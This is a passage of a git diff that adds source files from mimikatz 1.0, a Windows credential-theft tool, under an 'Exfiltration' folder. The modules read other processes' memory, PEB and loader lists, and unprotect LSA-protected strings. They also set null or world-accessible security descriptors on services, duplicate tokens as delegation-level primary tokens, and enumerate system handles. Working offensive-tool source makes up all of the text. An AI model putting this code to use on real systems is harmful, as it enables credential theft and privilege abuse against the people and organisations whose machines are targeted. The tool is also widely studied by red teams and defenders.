+ return reussite;
+}
+
+bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess)
+{
+ bool reussite = false;
+ bool tabOk = false;
+
+ vector<mod_process::KIWI_PROCESSENTRY32> * monTab;
+
+ if(!mesProcess)
+ {
+ monTab = new vector<mod_process::KIWI_PROCESSENTRY32>();
+ tabOk = mod_process::getList(monTab);
+ }
+ else
+ {
+ monTab = mesProcess;
+ }
+
+ if(mesProcess || tabOk)
+ {
+ for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++)
+ {
+ if(reussite = (monProcess->th32ProcessID == processId))
+ {
+ *processKiwi = *monProcess;
+ break;
+ }
+ }
+ }
+
+ if(!mesProcess)
+ {
+ delete monTab;
+ }
+
+ return reussite;
+}
+
+bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle)
+{
+ bool reussite = false;
+ PEB * monPeb = new PEB();
+ if(getPeb(monPeb, processHandle))
+ {
+ PEB_LDR_DATA * monLoader = new PEB_LDR_DATA();
+ if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle))
+ {
+ PBYTE aLire, fin;
+ LDR_DATA_TABLE_ENTRY monEntry;
+ for(
+ aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
+ fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector);
+ aLire != fin;
+ aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
+ )
+ {
+ if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle))
+ {
+ KIWI_VERY_BASIC_MODULEENTRY monModule = {
+ reinterpret_cast<PBYTE>(monEntry.DllBase),
+ monEntry.SizeOfImage,
+ getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle)
+ };
+ monModuleVector->push_back(monModule);
+ }
+ }
+ }
+ delete monLoader;
+ }
+ delete monPeb;
+ return reussite;
+}
+
+wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
+{
+ wstring maChaine;
+ BYTE * monBuffer = NULL;
+ if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction))
+ {
+ maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length));
+ }
+ if(monBuffer)
+ delete[] monBuffer;
+ return maChaine;
+}
+
+bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
+{
+ bool resultat = false;
+
+ if(ptrString->Buffer && (ptrString->Length > 0))
+ {
+ *monBuffer = new BYTE[ptrString->MaximumLength];
+ if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process))
+ {
+ if(unProtectFunction)
+ unProtectFunction(*monBuffer, ptrString->MaximumLength);
+ }
+ }
+ return resultat;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h
new file mode 100644
index 0000000..a7acf18
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h
@@ -0,0 +1,84 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "secpkg.h"
+#include "mod_ntddk.h"
+#include "mod_memory.h"
+#include "mod_text.h"
+#include <security.h>
+#include <tlhelp32.h>
+
+class mod_process
+{
+public:
+ typedef struct _KIWI_IAT_MODULE
+ {
+ PVOID ptrToFunc;
+ PVOID ptrFunc;
+ WORD Ordinal;
+ string funcName;
+ } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE;
+
+ typedef struct _KIWI_PROCESSENTRY32
+ {
+ DWORD dwSize;
+ DWORD cntUsage;
+ DWORD th32ProcessID; // this process
+ ULONG_PTR th32DefaultHeapID;
+ DWORD th32ModuleID; // associated exe
+ DWORD cntThreads;
+ DWORD th32ParentProcessID; // this process's parent process
+ LONG pcPriClassBase; // Base priority of process's threads
+ DWORD dwFlags;
+ wstring szExeFile; // Path
+ } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32;
+
+ typedef struct _KIWI_MODULEENTRY32
+ {
+ DWORD dwSize;
+ DWORD th32ModuleID; // This module
+ DWORD th32ProcessID; // owning process
+ DWORD GlblcntUsage; // Global usage count on the module
+ DWORD ProccntUsage; // Module usage count in th32ProcessID's context
+ BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
+ DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
+ HMODULE hModule; // The hModule of this module in th32ProcessID's context
+ wstring szModule;
+ wstring szExePath;
+ } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32;
+
+ typedef struct _KIWI_VERY_BASIC_MODULEENTRY
+ {
+ BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
+ DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
+ wstring szModule;
+ } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY;
+
+ static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL);
+ static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName);
+
+ static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL);
+ static bool suspend(DWORD & processId);
+ static bool resume(DWORD & processId);
+ static bool stop(DWORD & processId, DWORD exitCode = 0);
+
+ static bool debug(DWORD & processId);
+
+ static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId);
+ static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL);
+ static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE);
+ static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL);
+
+ static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL);
+
+ static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE);
+ static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE);
+ static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+
+ static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
+ static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
new file mode 100644
index 0000000..c14632c
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp
@@ -0,0 +1,162 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_secacl.h"
+
+bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType)
+{
+ PSECURITY_DESCRIPTOR newSD = NULL;
+ ULONG laTaille;
+ bool succes = false;
+
+ if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS)
+ {
+ switch(monType)
+ {
+ case SE_KERNEL_OBJECT:
+ succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0;
+ break;
+ case SE_SERVICE:
+ succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0;
+ break;
+ }
+ LocalFree(newSD);
+ }
+
+ return succes;
+}
+
+bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle)
+{
+ bool reussite = false;
+ DWORD dwSizeNeeded = 0;
+ SECURITY_DESCRIPTOR monSd;
+ if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
+ {
+ PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded];
+ if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded))
+ {
+ SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
+ PSID pEveryoneSID = NULL;
+ if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
+ {
+ EXPLICIT_ACCESS ForEveryOne;
+ RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS));
+ ForEveryOne.grfAccessMode = SET_ACCESS;
+ ForEveryOne.grfInheritance = NO_INHERITANCE;
+ ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ;
+ ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID;
+ ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+ ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID);
+
+ PSECURITY_DESCRIPTOR newSd = NULL;
+ DWORD laTaille;
+ if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS)
+ {
+ reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0;
+ LocalFree(newSd);
+ }
+ FreeSid(pEveryoneSID);
+ }
+ }
+ delete [] oldSd;
+ }
+ return reussite;
+}
+
+bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid)
+{
+ bool reussite = false;
+
+ wchar_t * szSid;
+ if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0)
+ {
+ strSid->assign(szSid);
+ LocalFree(szSid);
+ }
+ return reussite;
+}
+
+bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
+{
+ bool reussite = false;
+
+ DWORD dwSizeName = 0;
+ DWORD dwSizeDomain = 0;
+ SID_NAME_USE nameUse;
+
+ if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
+ {
+ wchar_t * monNom = new wchar_t[dwSizeName];
+ wchar_t * monDomain = new wchar_t[dwSizeDomain];
+ if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0)
+ {
+ strName->assign(monNom);
+ if(domainName)
+ domainName->assign(monDomain);
+
+ if(usage)
+ *usage = nameUse;
+ }
+ delete[] monDomain;
+ delete[] monNom;
+ }
+
+ return reussite;
+}
+
+bool mod_secacl::simpleSidToString(PSID Sid, wstring * String)
+{
+ wstring userName;
+ wstring domaineName;
+ String->clear();
+
+ if(Sid)
+ {
+ if(mod_secacl::sidToName(Sid, &userName, &domaineName))
+ {
+ String->assign(domaineName);
+ String->push_back(L'\\');
+ String->append(userName);
+ }
+ else
+ mod_secacl::sidToStrSid(Sid, String);
+ }
+ if(String->empty())
+ String->assign(L"(null)");
+
+ return true;
+}
+
+bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
+{
+ bool reussite = false;
+
+ DWORD szNeeded = 0;
+ if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
+ {
+ BYTE * mesDonnees = new BYTE[szNeeded];
+ if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded))
+ {
+ TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees);
+ reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage);
+ }
+ delete[] mesDonnees;
+ }
+
+ return reussite;
+}
+
+bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle)
+{
+ bool reussite = false;
+ HANDLE secToken;
+ if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0)
+ {
+ CloseHandle(*tokenHandle);
+ *tokenHandle = secToken;
+ }
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h
new file mode 100644
index 0000000..5e8aa04
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h
@@ -0,0 +1,24 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <aclapi.h>
+#include <sddl.h>
+
+using namespace std;
+
+class mod_secacl
+{
+public:
+ static bool simpleSidToString(PSID Sid, wstring * String);
+ static bool sidToStrSid(PSID Sid, wstring * strSid);
+ static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT);
+ static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
+ static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
+
+ static bool exchangeDupToken(HANDLE * tokenHandle);
+ static bool addWorldToMimikatz(SC_HANDLE * monHandle);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp
new file mode 100644
index 0000000..c234481
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp
@@ -0,0 +1,142 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_service.h"
+
+bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implémenté
+{
+ bool reussite = false;
+ DWORD error = ERROR_SUCCESS;
+
+ if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE))
+ {
+ DWORD tailleRequise = 0;
+ DWORD nbServices = 0;
+ DWORD resumeHandle = 0;
+
+ if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA)
+ {
+ BYTE * servicesBuff = new BYTE[tailleRequise];
+ ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff);
+ if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0)
+ {
+ for(DWORD i = 0; i < nbServices; i++)
+ {
+ KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess};
+ monVectorService->push_back(monService);
+ }
+ }
+ delete[] servicesBuff;
+ error = GetLastError();
+ }
+
+ CloseServiceHandle(monManager);
+ SetLastError(error);
+ }
+ return reussite;
+}
+
+
+bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté
+{
+ bool reussite = false;
+
+ vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>();
+ if(getList(vectorServices, machineName))
+ {
+ for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++)
+ {
+ if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0))
+ {
+ *monService = *monSvc;
+ break;
+ }
+ }
+ }
+ delete vectorServices;
+
+ return reussite;
+}
+
+bool mod_service::start(wstring * serviceName, wstring * machineName)
+{
+ bool reussite = false;
+ DWORD error = ERROR_SUCCESS;
+ if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
+ {
+ if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START))
+ {
+ if(!(reussite = StartService(monService, 0, NULL) != 0))
+ error = GetLastError();
+ CloseServiceHandle(monService);
+ }
+ else
+ error = GetLastError();
+ CloseServiceHandle(monManager);
+ SetLastError(error);
+ }
+
+ return reussite;
+}
+
+bool mod_service::remove(wstring * serviceName, wstring * machineName)
+{
+ bool reussite = false;
+ DWORD error = ERROR_SUCCESS;
+ if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
+ {
+ if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE))
+ {
+ if(!(reussite = DeleteService(monService) != 0))
+ error = GetLastError();
+ CloseServiceHandle(monService);
+ }
+ else
+ error = GetLastError();
+ CloseServiceHandle(monManager);
+ SetLastError(error);
+ }
+ return reussite;
+}
+
+bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName)
+{
+ bool reussite = false;
+ DWORD error = ERROR_SUCCESS;
+ if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
+ {
+ if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess))
+ {
+ if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0))
+ error = GetLastError();
+ CloseServiceHandle(monService);
+ }
+ else
+ error = GetLastError();
+ CloseServiceHandle(monManager);
+ SetLastError(error);
+ }
+ return reussite;
+}
+
+
+bool mod_service::stop(wstring * serviceName, wstring * machineName)
+{
+ SERVICE_STATUS serviceStatus;
+ return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName));
+}
+
+bool mod_service::suspend(wstring * serviceName, wstring * machineName)
+{
+ SERVICE_STATUS serviceStatus;
+ return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName));
+}
+
+bool mod_service::resume(wstring * serviceName, wstring * machineName)
+{
+ SERVICE_STATUS serviceStatus;
+ return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName));
+}
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h
new file mode 100644
index 0000000..b438454
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h
@@ -0,0 +1,38 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_secacl.h"
+
+class mod_service
+{
+private:
+ static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL);
+
+public:
+ typedef struct _KIWI_SERVICE_STATUS_PROCESS
+ {
+ wstring serviceName;
+ wstring serviceDisplayName;
+ SERVICE_STATUS_PROCESS ServiceStatusProcess;
+ } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS;
+
+ static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL);
+ static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL);
+
+ static bool start(wstring * serviceName, wstring * machineName = NULL);
+ static bool suspend(wstring * serviceName, wstring * machineName = NULL);
+ static bool resume(wstring * serviceName, wstring * machineName = NULL);
+ static bool stop(wstring * serviceName, wstring * machineName = NULL);
+
+ static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ?
+
+ static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla
+ static bool remove(wstring * serviceName, wstring * machineName = NULL);
+ static bool control(vector<wstring> * arguments);
+
+};
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp
new file mode 100644
index 0000000..7a79a76
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp
@@ -0,0 +1,208 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_system.h"
+
+OSVERSIONINFOEX mod_system::GLOB_Version;
+
+wstring mod_system::getWinError(bool automatique, DWORD code)
+{
+ bool reussite = false;
+ DWORD dwError = (automatique ? GetLastError() : code);
+ wostringstream resultat;
+ wchar_t * monBuffer = NULL;
+
+ resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')';
+ if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0))
+ reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0;
+
+ if(reussite)
+ {
+ resultat << L' ' << monBuffer;
+ LocalFree(monBuffer);
+ }
+ else resultat << L" * Impossible d\'obtenir un message *";
+
+ return resultat.str();
+}
+
+bool mod_system::getUserName(wstring * monUserName)
+{
+ bool reussite = false;
+ unsigned long tailleRequise = 0;
+
+ if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
+ {
+ wchar_t * monBuffer = new wchar_t[tailleRequise];
+ if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0))
+ {
+ monUserName->assign(monBuffer);
+ }
+ delete[] monBuffer;
+ }
+ return reussite;
+}
+
+bool mod_system::getComputerName(wstring * monComputerName)
+{
+ bool reussite = false;
+ DWORD tailleRequise = 0;
+
+ if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
+ {
+ wchar_t * monBuffer = new wchar_t[tailleRequise];
+ if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0))
+ {
+ monComputerName->assign(monBuffer);
+ }
+ delete[] monBuffer;
+ }
+ return reussite;
+}
+
+bool mod_system::getVersion(OSVERSIONINFOEX * maVersion)
+{
+ RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX));
+ maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
+ return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0);
+}
+
+bool mod_system::getCurrentDirectory(wstring * monRepertoire)
+{
+ bool reussite = false;
+ DWORD tailleRequise = GetCurrentDirectory(0, NULL);
+ wchar_t * monBuffer = new wchar_t[tailleRequise];
+ if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1)
+ {
+ monRepertoire->assign(monBuffer);
+ reussite = true;
+ }
+ delete monBuffer;
+ return reussite;
+}
+
+bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse)
+{
+ bool reussite = false;
+ wchar_t monBuffer[MAX_PATH];
+
+ if(PathIsRelative(thisData.c_str()))
+ {
+ wstring monRep = L"";
+ if(reussite = getCurrentDirectory(&monRep))
+ {
+ PathCombine(monBuffer, monRep.c_str(), thisData.c_str());
+ reponse->assign(monBuffer);
+ }
+ }
+ else
+ {
+ if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0))
+ {
+ reponse->assign(monBuffer);
+ }
+ }
+ return reussite;
+}
+
+bool mod_system::isFileExist(std::wstring &fichier, bool *resultat)
+{
+ bool reussite = false;
+ HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+
+ if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE))
+ {
+ CloseHandle(monFichier);
+ *resultat = true;
+ }
+ else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND))
+ {
+ *resultat = false;
+ }
+ return reussite;
+}
+
+bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid)
+{
+ bool reussite = false;
+
+ if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
+ {
+ DWORD size = 0x10000;
+ BYTE * monBuffer = new BYTE[size];
+ ULONG sizeReturn = 0;
+ NTSTATUS status;
+
+ while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH)
+ {
+ delete[] monBuffer;
+ size <<= 1;
+ monBuffer = new BYTE[size];
+ }
+
+ if(reussite = NT_SUCCESS(status))
+ {
+ PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer);
+ for(DWORD i = 0; i < mesInfos->HandleCount; i++)
+ {
+ if(!pid || *pid == mesInfos->Handles[i].ProcessId)
+ mesHandles->push_back(mesInfos->Handles[i]);
+ }
+ }
+
+ delete[] monBuffer;
+ }
+
+ return reussite;
+}
+
+bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo)
+{
+ bool reussite = false;
+
+ if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject")))
+ {
+ DWORD tailleRequise = 0;
+
+ if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH)
+ {
+ *buffer = new BYTE[tailleRequise];
+ if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise))))
+ {
+ delete[] buffer;
+ }
+ }
+ }
+
+ return reussite;
+}
+
+bool mod_system::getHandleType(HANDLE monHandle, wstring * strType)
+{
+ bool reussite = false;
+
+ BYTE * monBuffer = NULL;
+ if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation))
+ {
+ POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer);
+ strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t));
+ delete[] monBuffer;
+ }
+ return reussite;
+}
+
+bool mod_system::getHandleName(HANDLE monHandle, wstring * strName)
+{
+ bool reussite = false;
+
+ BYTE * monBuffer = NULL;
+ if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation))
+ {
+ PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer);
+ strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t));
+ delete[] monBuffer;
+ }
+ return reussite;
+}
